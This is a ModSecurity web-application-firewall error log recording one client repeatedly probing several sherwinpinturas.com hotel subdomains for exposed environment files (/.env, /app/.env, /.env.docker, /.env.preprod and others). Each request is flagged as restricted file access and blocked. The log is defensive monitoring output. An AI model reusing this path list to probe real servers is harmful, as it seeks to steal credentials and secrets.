[Tue Oct 27 01:43:48.735152 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "auA6FMqawth2HP9RxtL-5QAAAAY"]
[Tue Oct 27 01:43:48.735412 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "auA6FMqawth2HP9RxtL-5QAAAAY"]
[Tue Oct 27 01:43:48.808132 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "auA6FMqawth2HP9RxtL-5gAAAAY"]
[Tue Oct 27 01:43:48.808386 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "auA6FMqawth2HP9RxtL-5gAAAAY"]
[Tue Oct 27 01:43:48.808649 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "auA6FMqawth2HP9RxtL-5gAAAAY"]
[Tue Oct 27 01:43:48.817840 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auA6FEtgBhmk9Q7hbpqX0QAAAAs"]
[Tue Oct 27 01:43:48.818048 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auA6FEtgBhmk9Q7hbpqX0QAAAAs"]
[Tue Oct 27 01:43:48.818266 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auA6FEtgBhmk9Q7hbpqX0QAAAAs"]
[Tue Oct 27 01:43:48.819446 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "auA6FMkbbDK06qDUYmCoxgAAAAU"]
[Tue Oct 27 01:43:48.819586 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "auA6FMkbbDK06qDUYmCoxgAAAAU"]
[Tue Oct 27 01:43:48.819794 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "auA6FMkbbDK06qDUYmCoxgAAAAU"]
[Tue Oct 27 01:43:48.921337 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auA6FMkbbDK06qDUYmCoxwAAAAU"]
[Tue Oct 27 01:43:48.921561 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auA6FMkbbDK06qDUYmCoxwAAAAU"]
[Tue Oct 27 01:43:48.921867 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auA6FMkbbDK06qDUYmCoxwAAAAU"]
[Tue Oct 27 01:43:48.932484 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "auA6FA67030o4-ZAUjLpywAAAAg"]
[Tue Oct 27 01:43:48.932665 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "auA6FA67030o4-ZAUjLpywAAAAg"]
[Tue Oct 27 01:43:48.932902 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "auA6FA67030o4-ZAUjLpywAAAAg"]
[Tue Oct 27 01:43:48.950947 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auA6FEtgBhmk9Q7hbpqX0gAAAAs"]
[Tue Oct 27 01:43:48.951189 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auA6FEtgBhmk9Q7hbpqX0gAAAAs"]
[Tue Oct 27 01:43:48.951461 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auA6FEtgBhmk9Q7hbpqX0gAAAAs"]
[Tue Oct 27 01:43:49.023137 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "auA6FQ67030o4-ZAUjLpzAAAAAg"]
[Tue Oct 27 01:43:49.023408 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "auA6FQ67030o4-ZAUjLpzAAAAAg"]
[Tue Oct 27 01:43:49.023660 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "auA6FQ67030o4-ZAUjLpzAAAAAg"]
[Tue Oct 27 01:43:49.024733 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "auA6FckbbDK06qDUYmCoyAAAAAU"]
[Tue Oct 27 01:43:49.024884 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "auA6FckbbDK06qDUYmCoyAAAAAU"]
[Tue Oct 27 01:43:49.025119 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "auA6FckbbDK06qDUYmCoyAAAAAU"]
[Tue Oct 27 01:43:49.026531 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auA6FUtgBhmk9Q7hbpqX0wAAAAs"]
[Tue Oct 27 01:43:49.026833 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auA6FUtgBhmk9Q7hbpqX0wAAAAs"]
[Tue Oct 27 01:43:49.027152 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auA6FUtgBhmk9Q7hbpqX0wAAAAs"]
[Tue Oct 27 01:43:49.051110 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "auA6Fcqawth2HP9RxtL-5wAAAAY"]
[Tue Oct 27 01:43:49.051327 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "auA6Fcqawth2HP9RxtL-5wAAAAY"]
[Tue Oct 27 01:43:49.051587 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "auA6Fcqawth2HP9RxtL-5wAAAAY"]
[Tue Oct 27 01:43:49.434064 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "auA6FQ67030o4-ZAUjLpzQAAAAg"]
[Tue Oct 27 01:43:49.434308 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "auA6FQ67030o4-ZAUjLpzQAAAAg"]
[Tue Oct 27 01:43:49.434567 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "auA6FQ67030o4-ZAUjLpzQAAAAg"]
[Tue Oct 27 01:43:49.435922 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auA6FckbbDK06qDUYmCoyQAAAAU"]
[Tue Oct 27 01:43:49.436084 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auA6FckbbDK06qDUYmCoyQAAAAU"]
[Tue Oct 27 01:43:49.436294 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auA6FckbbDK06qDUYmCoyQAAAAU"]
[Tue Oct 27 01:43:49.437118 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auA6FUtgBhmk9Q7hbpqX1AAAAAs"]
